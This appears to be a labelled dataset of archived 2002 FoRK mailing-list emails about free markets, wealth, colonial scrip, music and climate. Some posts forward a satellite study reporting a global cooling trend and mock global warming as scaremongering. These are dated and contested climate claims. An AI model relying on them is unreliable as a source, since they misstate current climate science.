whole societies out of poverty"" I'm not a > >> socio-political/history buff - does anybody have some clear > >> examples? > > R> You're probably living in one, or you wouldn't be able to post > R> here. > >Cool --- I wasn't aware that the US had lifted it's population out of >poverty! When did this happen? I wonder where the media gets the >idea that the wealth gap is widening and deepening... > > > > I wasn't aware that there was anyone who could use the words ""free trade"" about the United States and keep a straight face. Owen",0,0 Tom ,fork@spamassassin.taint.org,"Sun, 22 Sep 2002 03:20:22 -0400 (EDT)",[vox] Anarchist 'Scavenger Hunt' Raises D.C. Police Ire (fwd),"Anarchist 'Scavenger Hunt' Raises D.C. Police Ire Sat Sep 21, 3:37 PM ET WASHINGTON (Reuters) - An online ""anarchist scavenger hunt"" proposed for next week's annual meeting of the International Monetary Fund ( news - web sites) and World Bank ( news - web sites) here has raised the ire of police, who fear demonstrators could damage property and wreak havoc. Break a McDonald's window, get 300 points. Puncture a Washington D.C. police car tire to win 75 points. Score 400 points for a pie in the face of a corporate executive or World Bank delegate. D.C. Assistant Police Chief Terrance Gainer told a congressional hearing on Friday that law authorities were in talks to decide whether planned protests were, ""so deleterious to security efforts that we ought to take proactive action."" Several thousand people are expected to demonstrate outside the IMF and World Bank headquarters next weekend. The Anti-Capitalist Convergence, a D.C.-based anarchist group, is also planning a day-long traffic blockade, banner-drops and protests against major corporations in the downtown core. Chuck, the 37 year-old webmaster of the anarchist site www.infoshop.org who declined to give his last name, told Reuters his scavenger hunt was meant as a joke. ""People were asking for things to do when they come to D.C. We made the list to get people thinking, so they don't do the boring, standard stuff,"" he said. ""I doubt people will actually keep track of what they do for points.""",0,0 Tom ,fork@spamassassin.taint.org,"Sun, 22 Sep 2002 03:31:22 -0400 (EDT)",[vox] Founding Fathers on Religion,"Some interesting quotes... http://www.postfun.com/pfp/worbois.html Thomas Jefferson: ""I have examined all the known superstitions of the word, and I do not find in our particular superstition of Christianity one redeeming feature. They are all alike founded on fables and mythology. Millions of innocent men, women and children, since the introduction of Christianity, have been burnt, tortured, fined and imprisoned. What has been the effect of this coercion? To make one half the world fools and the other half hypocrites; to support roguery and error all over the earth."" SIX HISTORIC AMERICANS, by John E. Remsburg, letter to William Short Jefferson again: ""Christianity...(has become) the most perverted system that ever shone on man. ...Rogueries, absurdities and untruths were perpetrated upon the teachings of Jesus by a large band of dupes and importers led by Paul, the first great corrupter of the teaching of Jesus.""",0,1 CDale ,Gregory Alan Bolcer ,"Sun, 22 Sep 2002 03:00:48 -0500 (CDT)",Re: Oh my...,"LOL you rool (: On Sat, 21 Sep 2002, Gregory Alan Bolcer wrote: > I went out and drew some chalk circles on my > sidewalk just so I wouldn't miss out on the experience. > I've collected half a dozen passwords & > access to email accounts so far. > > Greg > > bitbitch@magnesium.net wrote: > > Hello fork, > > > > So they have Aaron Schwartz on NPR's Weekend Edition talking > > about Warchalking. I'll agree, its funny, his voice is squeaky and > > I'm jealous that he got on radio and I didn't... > > > > But really, WTF is the big deal about warchalking? I have yet to > > see any of it, anywhere. > > > > LInk will probably pop up on www.npr.org later today. > > > > > > > > > -- ""I don't take no stocks in mathematics, anyway"" --Huckleberry Finn",0,0 Gary Lawrence Murphy ,"""Joseph S. Barrera III"" ",22 Sep 2002 08:39:42 -0400,Re: flavor cystals,">>>>> ""J"" == Joseph S Barrera, writes: J> Better yet, tell me where I should be listening for new music J> now that P2P is dead and I still can't pick up KFJC very well. How about your local pub? (sorry couldn't resist) I still use Live365; slowly the disconnected stations are returning, since the fee to stay on the air can be as low as $6/month, and if your fave broadcaster won't pay, you're given the option to pay for them. -- Gary Lawrence Murphy - garym@teledyn.com - TeleDynamics Communications - blog: http://www.auracom.com/~teledyn - biz: http://teledyn.com/ - ""Computers are useless. They can only give you answers."" (Picasso)",0,1 Owen Byrne ,Owen Byrne ,"Sun, 22 Sep 2002 12:03:36 -0300",Re: sed /s/United States/Roman Empire/g,"--------------090600030109070305070809 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Owen Byrne wrote: > R. A. Hettinga wrote: > >> -----BEGIN PGP SIGNED MESSAGE----- >> Hash: SHA1 >> >> At 10:32 AM -0400 on 9/21/02, Gary Lawrence Murphy wrote: >> >> >> >> >>> Cool --- I wasn't aware that the US had lifted it's population out >>> of poverty! When did this happen? I wonder where the media gets the >>> idea that the wealth gap is widening and deepening... >>> >> >> >> All the world loves a smartass... >> >> :-). >> >> Seriously. Look at he life expectancy and human carrying capacity of >> this continent before the Europeans got here. Look at it now. Even >> for descendants of the original inhabitants. Even for the descendents >> of slaves, who were brought here by force. >> >> More stuff, cheaper. That's progress. >> >> Poverty, of course, is not relative. It's absolute. Disparity in >> wealth has nothing to do with it. >> >> It's like saying that groups have rights, when, in truth, only >> individuals do. Like group rights, ""disparity"" in wealth is >> statistical sophistry. >> >> >> Besides, even if you can't help the distribution, industrial wealth >> is almost always transitory, and so is relative poverty, even when >> there are no confiscatory death-taxes. The 20th anniversary Forbes >> 400 just came out, and only a few tens of people are still there >> since 1982, a time which had significantly higher marginal taxes on >> wealth, income, and inheritance than we do now. More to the point, >> they're nowhere near the top. >> >> Lovely quote from the Forbes 400 list: ""and not a single Astor, Vanderbilt or Morgan rates a mention on the current Forbes Four Hundred. "" But you have to studiously ignore the 4 Rockefellers, 3 Gettys, 3 Hearsts, Fords, Kelloggs, Wrigleys, and so on. There are more self-made people on the list than I previously alluded to - I made a mistake. Most of them seem to have Ivy League educations, or are Ivy League dropouts, suggesting to me that they weren't exactly poor to start with. Some of them have lovely self-made stories like: #347, Johnston, Summerfield K Jr track this personTrack This Person | See all Bacon Makers 70 , self made *Source: Food , Coca-Cola* (quote , executives , news ) Net Worth: *$680 mil* returnee Hometown: Chattanooga , TN *Marital Status:* married , 5 children Grandfather James and partner landed first Coca-Cola bottling franchise in 1899. Company passed down 3 generations to Summerfield 1950s. Became largest independent Coke bottler. Merged with Coca-Cola Enterprises 1991. (...by a compensation committee) Owen --------------090600030109070305070809--",0,1 Gregory Alan Bolcer ,"""Joseph S. Barrera III"" ","Sun, 22 Sep 2002 08:01:56 -0700",Re: flavor cystals,"""Oh my Janitor, boom, boom, boom."" The best place for new music is right where it's always been. College radio. UCI, UCSD,USD, Claremont(?)'s KSPC, UCLA, Cal Fullerton, Cal LA, Cal Pomona. Greg Joseph S. Barrera III wrote: > Can anyone stop talking politics long enough to let me know that, > yes, indeed, they do remember the Suburban Lawns? > > Better yet, tell me where I should be listening for new music now that > P2P is dead and I still can't pick up KFJC very well. > > - Joe >",0,0 """Geege Schuman"" ","""Owen Byrne"" ","Sun, 22 Sep 2002 11:15:34 -0400",Crony Capitalism (was RE: sed /s/United States/Roman Empire/g),"reminds me of Cheney during the VP debates, when he declared his wealth was not the product of government favors. http://www.ibiblio.org/pub/academic/communications/logs/Gulf-War/desert-stor m/07 (good time to refresh our memories re iraq . . .) starting a debate on govt. contracts, gg -----Original Message----- From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of Owen Byrne Sent: Sunday, September 22, 2002 11:04 AM To: Owen Byrne Cc: Gary Lawrence Murphy; Mr. FoRK; fork@spamassassin.taint.org; Digital Bearer Settlement List Subject: Re: sed /s/United States/Roman Empire/g Owen Byrne wrote: > R. A. Hettinga wrote: > >> -----BEGIN PGP SIGNED MESSAGE----- >> Hash: SHA1 >> >> At 10:32 AM -0400 on 9/21/02, Gary Lawrence Murphy wrote: >> >> >> >> >>> Cool --- I wasn't aware that the US had lifted it's population out >>> of poverty! When did this happen? I wonder where the media gets the >>> idea that the wealth gap is widening and deepening... >>> >> >> >> All the world loves a smartass... >> >> :-). >> >> Seriously. Look at he life expectancy and human carrying capacity of >> this continent before the Europeans got here. Look at it now. Even >> for descendants of the original inhabitants. Even for the descendents >> of slaves, who were brought here by force. >> >> More stuff, cheaper. That's progress. >> >> Poverty, of course, is not relative. It's absolute. Disparity in >> wealth has nothing to do with it. >> >> It's like saying that groups have rights, when, in truth, only >> individuals do. Like group rights, ""disparity"" in wealth is >> statistical sophistry. >> >> >> Besides, even if you can't help the distribution, industrial wealth >> is almost always transitory, and so is relative poverty, even when >> there are no confiscatory death-taxes. The 20th anniversary Forbes >> 400 just came out, and only a few tens of people are still there >> since 1982, a time which had significantly higher marginal taxes on >> wealth, income, and inheritance than we do now. More to the point, >> they're nowhere near the top. >> >> Lovely quote from the Forbes 400 list: ""and not a single Astor, Vanderbilt or Morgan rates a mention on the current Forbes Four Hundred. "" But you have to studiously ignore the 4 Rockefellers, 3 Gettys, 3 Hearsts, Fords, Kelloggs, Wrigleys, and so on. There are more self-made people on the list than I previously alluded to - I made a mistake. Most of them seem to have Ivy League educations, or are Ivy League dropouts, suggesting to me that they weren't exactly poor to start with. Some of them have lovely self-made stories like: #347, Johnston, Summerfield K Jr track this personTrack This Person | See all Bacon Makers 70 , self made *Source: Food , Coca-Cola* (quote , executives , news ) Net Worth: *$680 mil* returnee Hometown: Chattanooga , TN *Marital Status:* married , 5 children Grandfather James and partner landed first Coca-Cola bottling franchise in 1899. Company passed down 3 generations to Summerfield 1950s. Became largest independent Coke bottler. Merged with Coca-Cola Enterprises 1991. (...by a compensation committee) Owen",0,1 bitbitch@magnesium.net,fork@spamassassin.taint.org,"Sun, 22 Sep 2002 12:03:23 -0400",dubyadubyadubya.dubyaspeak.com,"A worthy study procrastination tool: ) A few choice phrases from ol dubya himself: ""And all our history says we believe in liberty and justice for all, that when we see oppression, we cry."" ""If you want to keep the peace, you've got to have the authorization to use force. -- White House, Sep. 19, 2002"" ""The United States will remain strong in our conviction that we must not, and will not, allow the world's worst leaders to hold the United States and our friends and allies blackmail, or threaten us with the world's worst weapons."" -- Whats truly sad about the ""United States and our friends and allies /blackmail/, is that he said the same thing in the SAME speech in a paragraph or two before. ""If you find a neighbor in need, you're responsible for serving that neighbor in need, you're responsible for loving a neighbor just like you'd like to love yourself."" -- Snerk. This just begs for potty-mouth comedy. Too bad the kids on southpark just aren't that political. ""I want to send the signal to our enemy that you have aroused a compassionate and decent and mighty nation, and we're going to hunt you down. -- No, I didn't make this one up. Louisville, Kentucky, Sep. 5, 2002 Hee.. Mkay. http://www.dubyaspeak.com -- Best regards, bitbitch mailto:bitbitch@magnesium.net",0,1 Bill Humphries ,"""Joseph S. Barrera III"" ","Sun, 22 Sep 2002 10:16:51 -0700",Re: flavor cystals,"On Saturday, September 21, 2002, at 10:59 PM, Joseph S. Barrera III wrote: > Better yet, tell me where I should be listening for new music now that > P2P is dead and I still can't pick up KFJC very well. KFJC has a MP3 stream at kfjc.org. I'd also recommend radioparadise.com. I remember the Suburban Lawns, but I don't know what became of them. Apropos of nothing: ""Spirited Away"" is amazing. Go see it now. -- whump",0,0 """John Hall"" ","""FoRK"" ","Sun, 22 Sep 2002 15:32:34 -0700",Colonial Script ...,"Oh, they were plenty upset about the tea taxes. But the crack down on colonial script certainly screwed over the American Colonies. And, BTW, England as well. Dear Ben Franklin was right for the wrong reasons. First of all the colonies were not prosperous compared to England proper. Second, the issuance of colonial script had nothing to do with full employeement. (In fact, it is almost inconceivable he would make that claim. It sounds like a modern Keynsian was creating an urban legend.) OTOH the lack of sufficient circulating monetary instruments was economically crippling. Imagine trying to buy your supplies by offering IOUs on your own name -- and then trying to market / exchange the paper as the merchant who took the IOU. =========================== The most common problem in the world is when a government prints too much money. The effects are a complete disaster. There are a lot of incentives that push governments into doing this even though it is incredibly stupid. So almost all the literature talks about that. But you can ALSO screw an economy over by taking all the money out of circulation. The fundamental cause of the American Great Depression was exactly this, courtesy of the Federal Reserve Board. I don't think shifting the power to print money to the bank of Canada had much effect. And Canada is still a prosperous country. > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of Gary > Lawrence Murphy > Sent: Saturday, September 21, 2002 7:31 AM > To: Mr. FoRK > Cc: fork@spamassassin.taint.org > Subject: Re: sed /s/United States/Roman Empire/g > > >>>>> ""f"" == fork list writes: > > f> ""Free trade and free markets have proven their ability to lift > f> whole societies out of poverty"" I'm not a > f> socio-political/history buff - does anybody have some clear > f> examples? > > China? Ooops, no wait, scratch that. > > There is one counter example that I can think of, but it may not be > precisely ""free trade/markets"" -- when Ben Franklin first visited > England he was asked why the colonies were so prosperous. Ben > explained that they used ""Colonial Script"", a kind of barter-dollar, > and increasing the supply of script ensured complete employment. The > British bankers were furious and immediately lobbied parliament to > clamp down on the practice. Within a few years, the colonies were > rife with unemployment and poverty just like the rest of the Empire. > > According to questionable literature handed out by a fringe political > party here in Canada, the Founding Fathers had no real complaint about > tea taxes, it was the banning of colonial script they were > protesting. If this is true, then it comes right back to the forces > that killed Ned Ludd's followers as to why popular opinion believes > they were protesting a tea tax. The same pamphlet claimed that Canada > was also a prosperous nation until, by an act of parliament in the > late-50's or early 60's, the right to print money was removed from the > juristiction of parliament and handed over to the Bank of Canada. > > I've wondered about all this. Certainly the timeline of the collapse > of the Canadian economy fits the profile, but there are oodles of > other causes (for example, spending money like we had 300M people when > we only had 20M) Anyone have any further information on this? > > -- > Gary Lawrence Murphy - garym@teledyn.com - TeleDynamics Communications > - blog: http://www.auracom.com/~teledyn - biz: http://teledyn.com/ - > ""Computers are useless. They can only give you answers."" (Picasso)",0,1 """John Hall"" ","""FoRK"" ","Sun, 22 Sep 2002 15:53:43 -0700",RE: sed /s/United States/Roman Empire/g,"> From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of Mr. > FoRK > Also, the lifestyle of the remnants of those > societies is on average only marginally above poverty even today. As I understand it, there is a huge difference between native Americans who speak english at home and those who do not. I don't have figures that separate those at hand, though. 1989 American Indians (US Pop as a whole) -- Families below poverty 27.2% (10%), Persons below poverty 31.2 (13.1), Speak a language other than English 23 (13.8) Married couple families 65.8 (79.5) Median family income $21,619 ($35,225) Per Capita $8,284 ($14,420). Note: High Income countries in 1989 were defined as having over $6,000 per capita. American Indians separated from the rest of the US society would still be considered a high-income society.",0,0 """Stephen D. Williams"" ",Tom ,"Sun, 22 Sep 2002 21:35:28 -0400",Re: SunMSapple meta4 of the day,"Clearly, it is US/NATO = Sun/IBM/OSS, USSR = MS ""Where we want you to go in our 5 year plan?"" sdw Tom wrote: >Im feeling a bit farklempt having spent the night at Todais with the >family so talk amongst yourself..here Ill give you a topic > >The current state of IT can be thought of in terms of the Cold war with >the US and the UUSR being MS and Sun/IBM/OSS (does it matter which side >is which?), Apple as Cuba and the US legal system as the UN. > >Discuss. > > -- sdw@lig.net http://sdw.st Stephen D. Williams 43392 Wayside Cir,Ashburn,VA 20147-4622 703-724-0118W 703-995-0407Fax Dec2001",0,1 """R. A. Hettinga"" ","""Geege Schuman"" ,","Sun, 22 Sep 2002 22:01:22 -0400",Comrade Communism (was Re: Crony Capitalism (was RE: sed,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 11:15 AM -0400 on 9/22/02, Geege Schuman wrote: > Most of them seem to have Ivy League educations, or are Ivy League > dropouts suggesting to me that they weren't exactly poor to start > with. Actually, if I remember correctly from discussion of the list's composition in Forbes about five or six years ago, the *best* way to get on the Forbes 400 is to have *no* college at all. Can you say ""Bootstraps"", boys and girls? I knew you could... [Given that an undergraduate liberal arts degree from a state school, like, say, mine, :-), is nothing but stuff they should have taught you in a government-run ""high"" school, you'll probably get more of *those* on the Forbes 400 as well as time goes on. If we ever get around to having a good old fashioned government-collapsing transfer-payment depression (an economic version of this summer's government-forest conflagration, caused by the same kind of innumeracy that not clear-cutting enough forests did out west this summer :-)) that should motivate more than a few erst-slackers out there, including me, :-), to learn to actually feed themselves.] The *next* category on the Forbes 400 list is someone with a ""terminal"" professional degree, like an MBA, PhD, MD, etc., from the best school possible. Why? Because, as of about 1950, the *best* way to get into Harvard, for instance, is to be *smart*, not rich. Don't take my word for it, ask their admissions office. Look at the admissions stats over the years for proof. Meritocracy, American Style, was *invented* at the Ivy League after World War II. Even Stanford got the hint, :-), and, of course, Chicago taught them all how, right? :-). Practically *nobody* who goes to a top-20 American institution of higher learning can actually afford to go there these days. Unless, of course, their parents, who couldn't afford to go there themselves, got terminal degrees in the last 40 years or so. And their kids *still* had to get the grades, and ""biased"" (by intelligence :-)), test scores, to get in. The bizarre irony is that almost all of those people with ""terminal"" degrees, until they actually *own* something and *hire* people, or learn to *make* something for a living all day on a profit and loss basis, persist in the practically insane belief, like life after death, that economics is some kind of zero sum game, that dumb people who don't work hard for it make all the money, and, if someone *is* smart, works hard, and is rich, then they stole their wealth somehow. BTW, none of you guys out there holding the short end of this rhetorical stick can blame *me* for the fact that I'm using it to beat you severely all over your collective head and shoulders. You were, apparently, too dumb to grab the right end. *I* went to Missouri, and *I* don't have a degree in anything actually useful, much less a ""terminal"" one, which means *I*'m broker than anyone on this list -- it's just that *you*, of all people, lots with educations far surpassing my own, should just plain know better. The facts speak for themselves, if you just open your eyes and *look*. There are no epicycles, the universe does not orbit the earth, and economics is not a zero-sum game. The cost of anything, including ignorance and destitution, is the forgone alternative, in this case, intelligence and effort. [I will, however, admit to being educated *waay* past my level of competence, and, by the way *you* discuss economics, so have you, apparently.] BTW, if we ever actually *had* free markets in this country, *including* the abolition of redistributive income and death taxes, all those smart people in the Forbes 400 would have *more* money, and there would be *more* self-made people on that list. In addition, most of the people who *inherited* money on the list would have *much* less of it, not even relatively speaking. Finally, practically all of that ""new"" money would have come from economic efficiency and not ""stolen"" from someone else, investment bubbles or not. That efficiency is called ""progress"", for those of you in The People's Republics of Berkeley or Cambridge. It means more and better stuff, cheaper, over time -- a terrible, petit-bourgeois concept apparently not worthy of teaching by the educational elite, or you'd know about it by now. In economic terms, it's also called an increase in general welfare, and, no, Virginia, I'm not talking about extorting money from someone who works, and giving it to someone who doesn't in order to keep them from working and they can think of some politician as Santa Claus come election time... In short, then, economics is not a zero sum game, property is not theft, the rich don't get rich off the backs of the poor, and redistributionist labor ""theory"" of value happy horseshit is just that: horseshit, happy or otherwise. To believe otherwise, is -- quite literally, given the time Marx wrote Capital and the Manifesto -- romantic nonsense. Cheers, RAH -----BEGIN PGP SIGNATURE----- Version: PGP 7.5 iQA/AwUBPY511cPxH8jf3ohaEQLAsgCfZhsQMSvUy6GqJ5wgL52DwZKpIhMAnRuR YYboc+IcylP5TlKL58jpwEfu =z877 -----END PGP SIGNATURE----- -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 Gary Lawrence Murphy ,fork ,23 Sep 2002 01:07:53 -0400,Goodbye Global Warming,"... and say hello to the cool: Oooo ... /this/ is going to cause some stir ... http://www.atmos.uah.edu./essl/msu/background.html received via http://ontario.indymedia.org:8081/front.php3?article_id=12280 Using satellites to monitor global climate change Earth System Science Laboratory The University of Alabama in Huntsville For Additional Information: Dr. John Christy, Associate Professor of Atmospheric Science Earth System Science Laboratory, The University of Alabama in Huntsville Phone: (205) 922-5763 E-mail: christy@atmos.uah.edu Dr. Roy Spencer, Space Scientist Global Hydrology & Climate Center, NASA/Marshall Space Flight Center Phone: (205) 922-5960 E-mail: roy.spencer@msfc.nasa.gov SUMMARY As part of an ongoing NASA/UAH joint project, Dr. John Christy of UAH and Dr. Roy Spencer of NASA's Marshall Space Flight Center use data gathered by microwave sounding units (MSUs) on National Oceanic and Atmospheric Administration TIROS-N satellites to get accurate, direct measurements of atmospheric temperatures for almost all regions of the Earth, including remote deserts, rain forests and oceans for which reliable temperature data are not otherwise available. The accuracy and reliability of temperature data gathered by the satellites since January 1979 has been confirmed by comparing the satellite data to independent temperature data. A recent study (1) found a 97 percent agreement between the MSU data and temperatures measured by thermometers suspended beneath weather balloons released by meteorologists for weather observations. Once the monthly temperature data is collected from the satellites and processed, it is placed in a ""public"" computer file for immediate access by atmospheric scientists in the U.S. and abroad. It has become the basis for a number of major studies in global climate change, and is cited in reports from the Intergovernmental Panel on Climate Change. GATHERING THE DATA While traditional thermometers measure the temperature at a specific point in the air, a microwave sounding unit on a satellite takes readings that are average temperatures in a huge volume of the atmosphere. Each of the more than 30,000 readings per day per satellite is an average temperature for more than 75,000 cubic kilometers of air. The MSU makes a direct measurement of the temperature by looking at microwaves emitted by oxygen molecules in the atmosphere. The intensity of the microwave emissions - their ""brightness"" - varies according to temperature. Christy and Spencer developed a method to take the data from several satellites and produce a unified temperature dataset. VERIFYING THE ACCURACY OF MSU MEASUREMENTS A recent comparison (1) of temperature readings from two major climate monitoring systems - microwave sounding units on satellites and thermometers suspended below helium balloons - found a ""remarkable"" level of agreement between the two. To verify the accuracy of temperature data collected by microwave sounding units, Christy compared temperature readings recorded by ""radiosonde"" thermometers to temperatures reported by the satellites as they orbited over the balloon launch sites. He found a 97 percent correlation over the 16-year period of the study. The overall composite temperature trends at those sites agreed to within 0.03 degrees Celsius (about 0.054 Fahrenheit) per decade. The same results were found when considering only stations in the polar or arctic regions. ""The idea was to determine the reliability of the satellite data by comparing it to an established independent measurement,"" Christy said. ""If satellite data are reliable when the satellites are over the radiosonde sites, that means you should be able to trust them everywhere else."" The 99 radiosondes reported an aggregate warming trend of 0.155 degrees Celsius (about 0.28 Fahrenheit) per decade since 1979. Over those 99 spots on the globe, the satellites also recorded a warming trend: 0.128 degrees Celsius (about 0.23 Fahrenheit) per decade. Globally, however, the satellite data show a cooling trend of 0.03 degrees Celsius per decade since the first NOAA TIROS-N satellites went into service. ""These 99 radiosonde launch sites are just not distributed evenly around the planet,"" Christy said. ""They are not representative of the total globe."" Radiosonde balloons are released from stations around the world, usually at noon and midnight Greenwich standard time. As each balloon climbs from the surface to the stratosphere, the temperature is measured and relayed to the ground by radio. While there are more than 1,000 radiosonde launch sites globally, the data from many sites either are not readily available or are not consistently collected. Christy used data from 99 sites at which there has been long-term systematic and reliable data collection. These 99 radiosonde launch sites are in a box bounded by Iceland, Trinidad, Truk Island and Alaska. In an earlier study, an upper air temperature record compiled by NOAA from 63 daily weather balloon sites around the world indicated a 17-year climate trend of -0.05 C per decade, which was in exact agreement with the satellite data at that time, Christy said. GLOBAL COVERAGE One advantage of the MSU dataset is its global coverage. Microwave sounding units aboard NOAA satellites directly measure the temperature of the atmosphere over more than 95 percent of the globe. Each satellite measures the temperature above most points on Earth every 12 hours. The 'global temperature' that has been frequently reported from surface measurements is neither global in extent nor systematic in measurement method. It neglects vast oceanic and continental regions, including Antarctica, the Brazilian rain forests, the Sahara Desert and Greenland. The most commonly cited historical temperature dataset is from ground-based thermometers. More than 5,000 thermometers worldwide provide almost instantaneous local temperature data through links to weather services and scientists. Most of these thermometers, which are usually in small shelters about five feet above the ground, are in areas easily accessible to people. In the U.S. and other industrial countries, these thermometers are most often found at airports. The ground-based network is extensive in North America, Europe, Russia, China and Japan. It is less comprehensive in Africa, South America, Australia and across much of Southern Asia. Temperatures on the surface and vertically through the atmosphere are gathered daily by thermometers carried aloft by helium balloons. ""Radiosonde"" balloons are released from stations around the world, usually at noon and midnight Greenwich standard time. While balloon release sites are scattered throughout the world, they are concentrated in industrial nations. There are more than 1,000 radiosonde launch sites globally. If they were evenly distributed around the world, that would equal approximately one for every 195,000 square miles of the Earth's surface. Water temperatures, which are used to derive estimates of atmospheric temperatures, come from thermometers on piers and buoys, and aboard ""ships of opportunity."" The ships record the temperature of water drawn in to cool their engines. The water temperature data from these instruments is also not global in its coverage, tending instead to be concentrated in heavily-travelled shipping lanes, and in harbors. In the past 12 years, a new system of approximately 100 deep ocean buoys has been established, gathering both atmospheric and water temperature data. INSTRUMENT ACCURACY; MSU With nine satellites measuring the temperature over periods of from one to six years, a method was devised to merge all the data into a single, consistent time series. Each satellite has its own bias that, if not calculated and removed, would introduce spurious trends. The biases are calculated by directly comparing each satellite with others in operation at that time. Periods of overlapping operation ranged from three months to three years, and were sufficient to determine these biases. Because the MSU instruments are so stable and have so many thousands of observations, the biases between the satellites are known to within 0.01 deg. The final product removes these biases so that all data are referenced to a common base. (2) To check the final product, comparisons were made over a 16-year period with balloon measurements as stated above, and the phenomenal agreement provided the independent validation necessary to conclude that the merging technique developed for this dataset was accurate. INSTRUMENT ACCURACY; GROUND-BASED THERMOMETERS Of great concern to scientists is the lack of consistency in the way readings are taken and in the thermometer surroundings. Since most thermometers for which long-term records exist are in towns and cities, the effects of population growth and the construction of nearby roads, parking lots, runways and buildings may cause the temperature to rise a little due of urbanization. This temperature change may be an artifact of a local ""asphalt effect"" rather than a long-term widespread climate change. INSTRUMENT ACCURACY; SHIPS OF OPPORTUNITY While the temperature data collected by ships at sea is reported as a sea surface temperature, this data reflects water temperatures from about three to 60 feet below the surface - the level from which water is drawn into the ships. The thousands of individual thermometers used to collect this data are not calibrated against a scientific standard, nor is there a method for verifying the accuracy of either the thermometers or the reports matching temperature readings to specific times and places. Only in places where there are many overlapping observations can there be any confidence in their accuracy. THE SCIENTISTS In 1996, Spencer and Christy received the American Meteorological Society's Special Award. They were honored ""for developing a global, precise record of the Earth's temperature from operational polar-orbiting satellites, fundamentally advancing our ability to monitor climate."" AMS Special Awards are given to individuals or organizations not appropriately recognized by more specifically-defined awards, and who have made important contributions to the science or practice of meteorology or to the society. In 1991, Spencer and Christy received NASA's Exceptional Scientific Achievement Medal. DR. JOHN CHRISTY Christy began his scientific career as a senior research associate at UAH in 1987, after earning his B.A. (1973) in mathematics from California State University-Fresno, his M.Div. (1978) from Golden Gate Baptist Theological Seminary, and his M.S. (1984) and Ph.D. (1987) degrees in atmospheric sciences from the University of Illinois. He was an instructor of mathematics at Parkland College in Champaign, IL, 1983-87, an instructor of mathematics at the University of South Dakota, 1981-82, and an instructor of mathematical sciences at Yankton (S.D.) College, 1980-81. He also served as pastor of the Grace Baptist Church in Vermillion, S.D., 1978-82, and as science master at Baptist High School, Nyeri, Kenya, 1973-75. He has published more than 20 refereed scientific papers. Christy serves on the NOAA National Scientific Review Panel for the National Climatic Data Center, and on NOAA's Pathfinder Review Panel. He was an ""invited key contributor"" to the 1995 Intergovernmental Panel on Climate Change's scientific assessment of climate change, and served as a contributor to the 1992 and 1994 IPCC reports. DR. ROY SPENCER Spencer began his career as a research associate at the Space Science and Engineering Center in Madison, WI, in 1981, after earning his B.S. (1978) in meteorology at the University of Michigan and his M.S. (1979) and Ph.D. (1981) degrees in meteorology from the University of Wisconsin-Madison. He was a Universities Space Research Association visiting scientist at MSFC, 1984-87, before joining the MSFC staff in 1987. He is the U.S. team leader for the Multichannel Microwave Imaging Radiometer Team and has served on numerous committees relating to remote sensing. He directs a program involving satellite and aircraft passive microwave data to build global climate data sets and to address climate research issues. Spencer is lead author on sixteen scientific papers. BIBLIOGRAPHY (1) J.R. Christy, 1995, ""Climatic Change,"" Vol. 31, pp. 455-474. (2) J.R. Christy, R.W. Spencer and R.T. McNider, 1995, ""Journal of Climate,"" Vol. 8, pp. 888-896. R.W. Spencer, J.R. Christy and N.C. Grody, 1990, ""Journal of Climate,"" Vol. 3, pp. 111-1128. R.W. Spencer and J.R. Christy, 1992, ""Journal of Climate,"" Vol. 5, pp. 858- SEE ALSO http://science.nasa.gov/newhome/headlines/essd5feb97_1.htm http://science.nasa.gov/newhome/headlines/notebook/essd13aug98_1.htm http://www.ghcc.msfc.nasa.gov/MSU/hl_measuretemp.htm http://www.atmos.uah.edu/atmos/christy.html -- Gary Lawrence Murphy - garym@teledyn.com - TeleDynamics Communications - blog: http://www.auracom.com/~teledyn - biz: http://teledyn.com/ - ""Computers are useless. They can only give you answers."" (Picasso)",0,1 harley@argote.ch (Robert Harley),fork@spamassassin.taint.org,"Mon, 23 Sep 2002 11:06:05 +0200 (CEST)",Re: Goodbye Global Warming,"Gary Lawrence Murphy wrote: >and say hello to the cool: Oooo ... /this/ is going to cause some stir ... Of course not. Some people just don't want to be confused by the facts. >SUMMARY > >As part of an ongoing NASA/UAH joint project, Dr. John Christy of UAH >and Dr. Roy Spencer of NASA's Marshall Space Flight Center use data >gathered by microwave sounding units (MSUs) on National Oceanic and >Atmospheric Administration TIROS-N satellites to get accurate, direct >measurements of atmospheric temperatures for almost all regions of the >Earth [...] But some plonker will come up with yet another computer model predicting global warming and storms and floods in 50 years even though it can't predict next week's weather. And predict widespread cooling in some parts of the globe (which is now part of global ""warming""). And will get plenty of publicity for even more conclusive scaremong^H^H^H^H^H^H^H^H^H proof. >[...] >Globally, however, the satellite data show a cooling trend of 0.03 >degrees Celsius per decade since the first NOAA TIROS-N satellites >went into service. Umpteen studies have already shown that temperature variations, when even detectable in the noise, go either way depending on which data you look at. >Of great concern to scientists is the lack of consistency in the way >readings are taken [...] the construction of >nearby roads, parking lots, runways and buildings may cause the >temperature to rise a little due of urbanization. This temperature >change may be an artifact of a local ""asphalt effect"" rather than a >long-term widespread climate change. One study from Vienna showed long-term warming from thermometers at the airport, and none from other sites. Another study with data from Antarctica which was touted as supporting global warming while being free from this urbanization effect later turned out to be dominated by the time of day at which the airplane that made the measurements flew (I may have mentioned this one b4...) ""There are no facts, only interpretations."" - Friedrich Nietzsche. ""Bullshit!"" - Rob. .-. .-. / \ .-. .-. / \ / \ / \ .-. _ .-. / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / `-' `-' \ / \ / \ \ / `-' `-' \ / `-' `-'",0,0 ThosStew@aol.com,,"Mon, 23 Sep 2002 09:00:57 EDT",Re: Comrade Communism (was Re: Crony Capitalism (was RE: sed,"In a message dated 9/22/2002 11:38:01 PM, rah@shipwright.com writes: >the *best* way to >get on the Forbes 400 is historically: real estate Tom",0,0 """R. A. Hettinga"" ","Digital Bearer Settlement List , fork@spamassassin.taint.org","Mon, 23 Sep 2002 10:36:39 -0400",High-Altitude Rambos,"http://www.nytimes.com/2002/09/23/opinion/23HERB.html?todaysheadlines=&pagewanted=print&position=top The New York 